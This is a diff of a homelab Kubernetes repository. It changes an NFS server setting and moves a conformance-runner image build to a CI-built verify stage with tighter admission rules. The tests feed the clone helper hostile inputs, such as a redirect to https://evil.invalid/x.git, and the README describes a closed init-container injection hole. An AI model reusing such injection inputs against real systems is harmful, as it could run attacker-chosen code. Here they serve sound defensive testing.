-      # *** BLAST RADIUS — READ BEFORE MERGING THIS TO A BRANCH PROD RECONCILES. ***
-      # A PersistentVolume's spec.nfs.server is an unvalidated string: the API server ACCEPTS this
-      # placeholder, the PV is created and the PVC BINDS to it (binding is pure control-plane). The
-      # failure surfaces only when a pod mounts — MountVolume.SetUp "Failed to resolve server
-      # TBD-PROD-BULK-NFS-SERVER" — so plex, sonarr, radarr and nextcloud would sit in
-      # ContainerCreating on prod. Unlike the LAN knobs above, this placeholder does NOT fail at
-      # apply time and there is no CRD validation to lean on. Set this value BEFORE prod reconciles
-      # a revision containing the bulk volumes; the dev overlay renders a working value, which is
-      # where these manifests are meant to be proven first.
+      # ONE PORT IS STILL ALL IT NEEDS: tcp/2049. The PVs mount nfsvers=4.1 and NFSv4 carries mount
+      # and lock in-protocol — no rpcbind/111, no mountd, no statd. The NAS advertises
+      # `+3 +4 +4.1 +4.2` (/proc/fs/nfsd/versions, measured), so 4.1 negotiates.
       - op: replace
         path: /data/BULK_NFS_SERVER
-        # 192.168.2.102 is pfSense's WAN address, which DNATs tcp/2049 through to the Proxmox
-        # host's REAL address 192.168.1.9 on pfSense's LAN. Prod sits on the WAN side and cannot
-        # reach 192.168.1.9 directly, so the cluster mounts the NAT address. Dev is on the LAN and
-        # keeps the base value 192.168.1.9.
+        # VERIFIED ON THE NAS 2026-10-07, before any cluster touched it (`exportfs -v`):
+        #   /mnt/Storage/plex       192.168.2.10/.11/.12  rw,sec=sys,secure,root_squash,no_all_squash
+        #   /mnt/Storage/nextcloud  192.168.2.10/.11/.12  ro,sec=sys,secure,root_squash,no_all_squash
         #
-        # PROVEN from k3s-prod-1 on 2026-09-12, not inferred:
-        #   - mount of 192.168.2.102:/mnt/Storage/plex negotiated nfs4 vers=4.1 proto=tcp
-        #   - a write as uid 1000 succeeded. Tested as 1000 and NOT root deliberately: the export
-        #     carries no_root_squash, so a root write would have passed and proved nothing, while
-        #     LSIO images default to PUID 911 and would have gone Ready then failed every import
-        #     with EACCES. The tree is 0755 1000:3000, so uid 1000 is the only writer.
-        #   - ln() across downloads/ -> tv/ returned link count 2 (same inode), so the arrs get
-        #     real atomic moves instead of silently degrading to copy-then-delete on EXDEV.
-        # pfSense DNATs WITHOUT source NAT (the host logs prod's own node addresses as the peer),
-        # so the ZFS export ACL names 192.168.2.10/.11/.12 directly rather than one translated IP.
-        value: "192.168.2.102"
+        # no_all_squash is the flag the entire permission model rests on: client uids pass through
+        # untouched, so the arrs' PUID=1000 arrives as the owner of a 0755 1000:3000 tree. sec=sys
+        # keeps that numeric rather than principal-mapped. The export deliberately does NOT carry
+        # no_root_squash, which the Proxmox one did: nothing here needs it, because every write to
+        # the tree happens after the LSIO drop to uid 1000 and the images only chown their Longhorn
+        # /config. Both subPath directories (plex/downloads, nextcloud/nextcloud) already exist at
+        # 0755 1000:3000, so a squashed root can still traverse them for subPath resolution.
+        #
+        # The ro= posture on the archive is now SERVER-enforced, which the old export also managed.
+        # The media tree's read-only half (plex) stays a CLIENT-side guarantee — all four media pods
+        # can land on any node, so the server sees the same three addresses for reader and writers
+        # alike and cannot tell them apart. Unchanged by the move; see docs/BULK-NFS-STORAGE.md §5.
+        #
+        # *** CHANGING THIS VALUE REQUIRES DELETING AND RECREATING THE PVs. *** A bound PV's
+        # spec.nfs is immutable — measured by server dry-run 2026-10-07:
+        #     spec.persistentvolumesource: Forbidden: spec.persistentvolumesource is immutable after creation
+        # so Flux's apply FAILS rather than updating and the pods keep their old, dead mount. The
+        # operator sequence is docs/BULK-NFS-STORAGE.md §10. Retain + the renderer's pre-set
+        # claimRef make it safe: no data is touched and each recreated PV rebinds its own PVC.
+        value: "192.168.2.30"
       # ==========================================================================================
       # OFF-CLUSTER DR TARGET — Cloudflare R2 (operator, 2026-09-05; bucket + token 2026-09-07).
       # ==========================================================================================

conformance/incluster/Containerfile

@@ -98,7 +98,10 @@ RUN set -eux; \
 
 # --- runtime -----------------------------------------------------------------
 ARG FEDORA_VERSION=44
-FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
+# Stage `conformance-runner` is the image that ships; stage `verify` (end of file) is a TEST stage
+# built FROM it that only runs assertions and is never pushed. build-image.sh and the CI
+# pipeline build `--target verify` to prove it and `--target conformance-runner` for the image.
+FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION} AS conformance-runner
 
 ARG CHAINSAW_VERSION=
 ARG KUBECTL_VERSION=
@@ -198,3 +201,86 @@ WORKDIR /workspace
 # prepend something the policy cannot see. `bash` is the interactive fallback for a human
 # debugging the image locally.
 CMD ["/bin/bash"]
+
+# =============================================================================
+# verify — a TEST stage, never shipped. Every assertion conformance/incluster/build-image.sh used
+# to make with `run --user 65532 --read-only --tmpfs /workspace` now runs here, at build time,
+# because CI builds on rootless BuildKit where no container runtime exists.
+#
+# WHAT A BUILD STEP CAN AND CANNOT REPRODUCE:
+#   * uid 65532 ............ exact (USER inherited from the conformance-runner stage).
+#   * no network ........... exact: RUN --network=none, and the first check proves it.
+#   * --read-only rootfs ... NOT reproducible (a RUN step always has a writable layer).
+#                            Approximated by permission: everything uid 65532 can write must lie
+#                            under /workspace, /tmp or /var/tmp. In the Job only /workspace (and
+#                            /results) are writable — the image points HOME and TMPDIR there — and
+#                            readOnlyRootFilesystem is enforced by
+#                            platform/kyverno/admission/conformance-trigger-job-shape.yaml.
+# =============================================================================
+FROM conformance-runner AS verify
+RUN --network=none /bin/bash -euo pipefail <<'VERIFY'
+echo "--- no network (the build-time stand-in for the Job's isolation) ---"
+if getent hosts gitea.home.keithjackson.dev >/dev/null 2>&1 || timeout 3 bash -c '</dev/tcp/1.1.1.1/443' 2>/dev/null; then
+  echo "UNEXPECTED: network reachable in the verify stage"; exit 1
+fi
+echo "confirmed: no network"
+echo "--- id ---";             id
+echo "--- HOME ---";           echo "HOME=${HOME}"
+echo "--- bash ---";           bash --version | head -1
+echo "--- python3 ---";        python3 --version
+echo "--- git ---";            git --version
+echo "--- kubectl ---";        kubectl version --client
+echo "--- chainsaw ---";       chainsaw version
+echo "--- baked versions ---"; cat /etc/conformance-runner-versions
+echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
+stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
+if [ -w /usr/local/bin/conformance-clone ]; then
+  echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
+fi
+echo "confirmed: not writable by uid $(id -u)"
+# Each of these MUST fail. Assert the non-zero exit as well as the message: a check that only
+# greps stderr would pass a build where the guard had stopped rejecting.
+expect_fail() {
+  local label="$1"; shift
+  local out rc=0
+  out="$(env "$@" 2>&1)" || rc=$?
+  echo "--- ${label} ---"
+  printf "%s\n" "${out}" | head -2
+  if [ "${rc}" -eq 0 ]; then
+    echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
+  fi
+  echo "(rejected, exit ${rc})"
+}
+expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
+  conformance-clone --layer l2
+expect_fail "conformance-clone rejects a missing SHA" \
+  conformance-clone
+expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
+  CONFORMANCE_GIT_SHA=main conformance-clone
+expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
+  CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
+expect_fail "conformance-clone rejects a HOME off the workspace volume" \
+  CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+  HOME=/etc conformance-clone
+expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
+  CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+  CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
+expect_fail "conformance-clone refuses a clone target off the workspace volume" \
+  CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+  CONFORMANCE_SRC=/etc/src conformance-clone
+echo "--- the root filesystem is not writable by the runner (expected: a failure) ---"
+if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: / is writable by uid $(id -u)"; exit 1; fi
+echo "confirmed: / is not writable"
+echo "--- everything uid $(id -u) CAN write lies under /workspace, /tmp or /var/tmp ---"
+stray="$(find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -writable ! -type l -print 2>/dev/null \
+         | grep -vE '^/(workspace|tmp|var/tmp)(/|$)' || true)"
+if [ -n "${stray}" ]; then echo "UNEXPECTED: writable outside the allowed paths:"; printf '      %s\n' ${stray} | head -20; exit 1; fi
+echo "confirmed: no writable path outside /workspace, /tmp, /var/tmp"
+echo "--- HOME is writable (the workspace emptyDir) ---"
+touch "${HOME}/.probe" || { echo "UNEXPECTED: ${HOME} not writable"; exit 1; }
+echo "confirmed: ${HOME} is writable"
+echo "--- uid is non-zero ---"
+[ "$(id -u)" -ne 0 ] || { echo "UNEXPECTED: running as root"; exit 1; }
+echo "confirmed: running as uid $(id -u), not root"
+echo "CONFORMANCE-RUNNER VERIFIED"
+VERIFY

conformance/incluster/README.md

@@ -25,12 +25,12 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). **Its `image:` is STALE**: it still names `ghcr.io/kyverno/chainsaw:v0.2.12`, which
-  (a) cannot run `./run.sh` at all and (b) is DENIED at admission. The trigger renders this
-  template per run with `CONFORMANCE_RUNNER_IMAGE` injected (plan §3 item 4, T-6.1b); until
-  that lands, treat the literal `image:` here as a placeholder, not a pin.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
 - `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
   `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
   filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
@@ -41,35 +41,75 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
 - `conformance-clone` — the init container's **only** entrypoint, baked into the image at
   `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
-  Clones the impl repo at the commit under test: the SHA must match `^[0-9a-f]{40}$` and
-  `rev-parse HEAD` is **asserted** equal to it afterwards, so an unrendered placeholder is a
-  hard failure rather than a silent run of the branch tip. It takes **no arguments**, and the
-  repository URL and clone target are **compiled in** — see its header for why the env vars
-  are read but may not override them.
-  > **This file is half a fix.** The admission policy pins the main container's `command` but
-  > **never reads `initContainers`**, so an init container with `command: ["/bin/sh","-c"]` and
-  > an arbitrary script is currently ADMITTED and runs as the privileged `conformance-runner`
-  > SA. What makes this file *required* rather than merely available is a 4th policy rule
-  > demanding `command: ["/usr/local/bin/conformance-clone"]` with no `args`. That rule belongs
-  > in its own reviewed PR against the boundary and is **not** in this branch.
-- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
-  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
-  prints the exact `podman push --digestfile …` command for the operator instead. See
-  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+  > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
+  > merely *available* rather than *required*. The rule that closes it is
+  > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above and **verifies the toolchain by running it**: the
+  Containerfile's `verify` stage executes every tool and every `conformance-clone` refusal as
+  uid 65532 with no network, at build time. It **never pushes**, and neither does anyone from a
+  workstation: CI (`.gitea/workflows/images.yaml`) builds the same Containerfile and `verify`
+  stage on rootless BuildKit (`platform/buildkit/`), and on a push to `main` publishes the
+  verified image under `sha-<commit>` and `main`. Renovate then moves
+  `CONFORMANCE_RUNNER_IMAGE_DIGEST` in `conformance/versions.env` onto the registry-returned
+  digest in a pull request (that file is a sensitive path, so the bump needs an
+  administrator's `/approve-override`).
   `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
   and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
   default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/build-image.sh

@@ -1,43 +1,49 @@
 #!/usr/bin/env bash
 ###############################################################################
 # conformance/incluster/build-image.sh — build the pinned `conformance-runner`
-# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+# image and prove it works. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
 #
-#   ./build-image.sh                 # build + verify + print the digest and push command
+#   ./build-image.sh                 # build the verify target, then the image
+#   ./build-image.sh --print-build-args   # print KEY=VALUE build args (what CI consumes)
 #   ./build-image.sh --no-verify     # build only (skip the in-image tool proof)
 #   ./build-image.sh --verify-clone  # ALSO really clone this repo with conformance-clone.
 #                                    #   Opt-in because it needs the Gitea host reachable; the
 #                                    #   default verify is offline so an air-gapped build is
 #                                    #   still fully checked rather than half-checked.
 #   ENGINE=docker ./build-image.sh   # build with docker instead of podman
+#   IMAGE_TAG=foo ./build-image.sh   # override the local tag (CI uses this)
 #
-# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
-# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
-# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
-# non-root uid the policy demands, and prints the exact `podman push` line for a human.
+# THIS SCRIPT NEVER PUSHES — and nobody pushes this image from a workstation either.
+# Publishing is done by CI: .gitea/workflows/images.yaml builds the SAME Containerfile on
+# rootless BuildKit (platform/buildkit/), taking its build args from `--print-build-args`, and
+# on a push to `main` pushes it to the Gitea registry and records the registry-returned digest
+# in the job summary; Renovate then opens the pull request that moves conformance/versions.env
+# onto that digest. The proof that the image works is the Containerfile's `verify` stage, which
+# this script (podman locally) and CI both build.
 #
 # VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
 # single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
 # pins the toolbox gate runs with. Nothing in this file invents a version.
 #
-# THE DIGEST CAVEAT — read it before pasting a digest into anything.
-# The digest printed here is the LOCAL manifest digest. It is normally identical to the
-# registry digest (podman pushes the manifest it already has rather than recompressing),
-# but that is a property of the push, not a guarantee. So the push command below uses
-# `--digestfile`: the digest the registry actually returns is the authoritative one, and
-# that is the one that goes into conformance/versions.env.
+# NO DIGEST IS PRINTED. A manifest digest does not exist until a registry holds the manifest,
+# and the only digest anything may pin is the one the REGISTRY returns. CI captures that at
+# push time (.gitea/workflows/scripts/images.sh) and Renovate carries it into
+# conformance/versions.env.
 ###############################################################################
 set -euo pipefail
 
 HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
 REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
 ENGINE="${ENGINE:-podman}"
+TAG_OVERRIDE="${IMAGE_TAG:-}"
 
 VERIFY=1
 VERIFY_CLONE=0
+PRINT_ARGS=0
 for arg in "$@"; do
   case "$arg" in
     --no-verify) VERIFY=0 ;;
+    --print-build-args) PRINT_ARGS=1 ;;
     --verify-clone) VERIFY_CLONE=1 ;;
     -h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
     *) echo "unknown argument: $arg" >&2; exit 2 ;;
@@ -48,8 +54,6 @@ log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
 info() { printf '    %s\n' "$*"; }
 die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
 
-command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
-
 # --- pins: sourced, never invented -------------------------------------------
 TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
 [ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
@@ -59,14 +63,21 @@ source "${TOOLCHAIN_ENV}"
 : "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
 : "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
 
+# THE build args, in ONE place; `--print-build-args` hands them to the CI pipeline, which builds
+# this Containerfile on rootless BuildKit.
+BUILD_ARGS=("CHAINSAW_VERSION=${CHAINSAW_VERSION}" "KUBECTL_VERSION=${KUBECTL_VERSION}" "FEDORA_VERSION=${FEDORA_VERSION}")
+if [ "${PRINT_ARGS}" -eq 1 ]; then printf '%s\n' "${BUILD_ARGS[@]}"; exit 0; fi
+
+command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
+
 # --- image name: fixed by the admission policy -------------------------------
 # platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
 # gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
 # is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
 IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
-# The tag is build convenience only (a human-readable handle for the push). Admission
-# ignores it: only the digest is ever referenced from a Job.
-IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
+# The tag is a local handle only. CI re-tags what it publishes (git SHA + `main`), and
+# admission ignores tags entirely: only the digest is ever referenced from a Job.
+IMAGE_TAG="${TAG_OVERRIDE:-chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}}"
 IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
 
 log "Building ${IMAGE_REF}"
@@ -76,86 +87,31 @@ info "  CHAINSAW        ${CHAINSAW_VERSION}"
 info "  KUBECTL         ${KUBECTL_VERSION}"
 info "  FEDORA          ${FEDORA_VERSION}"
 
-"${ENGINE}" build \
-  --file "${HERE}/Containerfile" \
-  --tag "${IMAGE_REF}" \
-  --build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
-  --build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
-  --build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
-  "${HERE}"
+# Provenance: CI passes the commit it is building, so a pulled image names its source tree.
+LABEL_ARGS=()
+[ -z "${BUILD_REVISION:-}" ] || LABEL_ARGS+=(--label "org.opencontainers.image.revision=${BUILD_REVISION}")
+
+ARG_FLAGS=()
+for a in "${BUILD_ARGS[@]}"; do ARG_FLAGS+=(--build-arg "$a"); done
 
 # --- verify: the point of the whole exercise ---------------------------------
-# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
-# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
-# filesystem — the shape the admission policy forces. A pass here is the only evidence
-# this image is usable; a build that merely succeeded is not.
+# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So the proof is that
+# the tools EXECUTE, as the NON-ROOT uid, with no network, that conformance-clone is not writable
+# by that uid and refuses every hostile input, and that nothing outside /workspace is writable.
+# That proof is the Containerfile's `verify` stage, built here and in CI alike (CI has no
+# container runtime — rootless BuildKit only). See the stage's header for what a build step can
+# and cannot reproduce of the Job's shape. A build that merely succeeded is not evidence.
 if [ "${VERIFY}" -eq 1 ]; then
-  log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
-  "${ENGINE}" run --rm \
-    --user 65532:65532 \
-    --read-only \
-    --tmpfs /workspace:rw,mode=1777 \
-    --entrypoint "" \
-    "${IMAGE_REF}" \
-    /bin/bash -euo pipefail -c '
-      echo "--- id ---";             id
-      echo "--- HOME ---";           echo "HOME=${HOME}"
-      echo "--- bash ---";           bash --version | head -1
-      echo "--- python3 ---";        python3 --version
-      echo "--- git ---";            git --version
-      echo "--- kubectl ---";        kubectl version --client
-      echo "--- chainsaw ---";       chainsaw version
-      echo "--- baked versions ---"; cat /etc/conformance-runner-versions
-      echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
-      stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
-      if [ -w /usr/local/bin/conformance-clone ]; then
-        echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
-      fi
-      echo "confirmed: not writable by uid $(id -u)"
-      # Each of these MUST fail. Assert the non-zero exit as well as the message: a check
-      # that only greps stderr would pass a build where the guard had stopped rejecting.
-      # (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
-      # expected failure — without it the verify dies at the first negative case.)
-      expect_fail() {
-        local label="$1"; shift
-        local out rc=0
-        out="$(env "$@" 2>&1)" || rc=$?
-        echo "--- ${label} ---"
-        printf "%s\n" "${out}" | head -2
-        if [ "${rc}" -eq 0 ]; then
-          echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
-        fi
-        echo "(rejected, exit ${rc})"
-      }
-      expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
-        conformance-clone --layer l2
-      expect_fail "conformance-clone rejects a missing SHA" \
-        conformance-clone
-      expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
-        CONFORMANCE_GIT_SHA=main conformance-clone
-      expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
-        CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
-      expect_fail "conformance-clone rejects a HOME off the workspace volume" \
-        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
-        HOME=/etc conformance-clone
-      expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
-        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
-        CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
-      expect_fail "conformance-clone refuses a clone target off the workspace volume" \
-        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
-        CONFORMANCE_SRC=/etc/src conformance-clone
-      echo "--- rootfs is read-only (expected: a failure) ---"
-      if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
-      echo "confirmed: / is read-only"
-      echo "--- HOME is writable (the workspace emptyDir) ---"
-      touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
-      echo "--- uid is non-zero ---"
-      [ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
-    '
+  log "Verifying the toolchain (Containerfile target: verify)"
+  "${ENGINE}" build "${ARG_FLAGS[@]}" --target verify --file "${HERE}/Containerfile" "${HERE}"
   log "Toolchain verified"
 fi
 
+"${ENGINE}" build "${LABEL_ARGS[@]}" "${ARG_FLAGS[@]}" --target conformance-runner \
+  --file "${HERE}/Containerfile" --tag "${IMAGE_REF}" "${HERE}"
+
 # --- verify the clone helper against the REAL repository (opt-in: needs network) ----
+# LOCAL ONLY: this one `run`s the image, which needs a container engine, so CI does not do it.
 # The negative cases above prove conformance-clone refuses bad input. This proves the
 # positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
 # rev-parse assertion is only an unexercised line of shell.
@@ -184,46 +140,12 @@ if [ "${VERIFY_CLONE}" -eq 1 ]; then
   log "conformance-clone verified against the real repository"
 fi
 
-# --- digest ------------------------------------------------------------------
-DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
+# --- result ------------------------------------------------------------------
 IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
 SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
 
 log "Built ${IMAGE_REF}"
-info "local manifest digest  ${DIGEST}"
-info "image id               ${IMAGE_ID}"
-info "size                   $(( SIZE / 1024 / 1024 )) MiB"
-
-cat <<EOF
-
-================================================================================
-NOT PUSHED. Publishing is an operator action — this script holds no registry
-credential and will never acquire one.
-
-OPERATOR: run these two commands, then paste the digest from the digestfile into
-conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
-
-    ${ENGINE} login gitea.home.keithjackson.dev
-
-    ${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
-      ${IMAGE_REF}
-
-Then:
-
-    cat /tmp/conformance-runner.digest
-    # -> sha256:....  THIS is the authoritative digest, not the local one above.
-
-    # conformance/versions.env
-    CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
-
-WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
-is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
-${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
-and so is any other repository path.
-
-TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
-\`${IMAGE_REPO}@sha256:*\` to be replaced with the
-LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
-That is a separate, human-reviewed PR against the security boundary.
-================================================================================
-EOF
+info "image id  ${IMAGE_ID}"
+info "size      $(( SIZE / 1024 / 1024 )) MiB"
+info "Not pushed. CI publishes this image from main (.gitea/workflows/images.yaml) and"
+info "Renovate moves conformance/versions.env onto the registry-returned digest."

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,175 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
